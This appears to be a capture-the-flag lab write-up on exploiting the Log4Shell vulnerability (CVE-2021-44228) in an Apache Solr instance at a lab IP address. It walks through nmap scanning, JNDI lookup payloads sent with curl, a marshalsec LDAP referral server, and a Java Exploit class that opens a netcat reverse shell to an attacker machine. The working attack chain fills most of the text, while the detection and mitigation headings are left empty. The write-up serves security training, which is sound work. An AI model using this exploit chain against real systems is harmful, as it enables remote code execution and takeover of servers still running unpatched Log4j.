

Solar

Apache Log4j : CVE-2021-44228

Log4j -> Java logging Package

<https://github.com/huntresslabs/log4shell-tester>

<https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java>

<https://log4shell.huntress.com/>

Lab Setup

IP Address: 10.10.51.151

Reconnaissance :

Scanning with Nmap

nmap -v -T4 10.10.51.151

nmap -v -p- -T4 10.10.51.151 # Full port scan

Open Ports:

PORT STATE SERVICE

22/tcp open ssh

111/tcp open rpcbind

8983/tcp open unknown

Discovery

Opening "http://10.10.51.151:8983/

/log/solr/logs

solr.log

PoC

From the information from the log file, the attacker able to visit the path

<http://10.10.51.151:8983/solr/admin/cores>

And also able to use the "params"

Important syntaxes:

\${sys:os.name}

\${sys:user.name}

\${log4j:configParentLocation}

\${ENV:PATH}

\${ENV:HOSTNAME}

\${java:version}

General syntax

\${jndi:ldap://ATTACKERCONTROLLEDHOST}

JNDI -> Java Naming and Directory Interface

Attack strategy

Set up a listener on attack machine

nc -lnvp 9999

On an another terminal, calling the target using curl with payload

curl 'http://10.10.51.151:8983/solr/admin/cores?foo=\${jndi:ldap://10.4.0.94:9999\}'

Exploitation

<https://youtu.be/OJRgyCHheRE>

<https://github.com/mbechler/marshalsec>

mvn clean package -DskipTests

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.4.0.94:8000/#Exploit"

Java Payload: Exploit.java

###

public class Exploit {

static {

try {

java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 10.4.0.94 9999");

} catch (Exception e) {

e.printStackTrace();

}

}

}

###

Code compile:

```
javac Exploit.java -source 8 -target 8
```

Python Server setup

```
python3 -m http.server
```

Netcat Listener

```
nc -lnvp 9999
```

Modified request using curl:

```
curl 'http://10.10.51.151:8983/solr/admin/cores?foo=${jndi:ldap:10.4.0.94:1389/Exploit\}'
```

Persistence

Detection

Bypass

Mitigation

Patching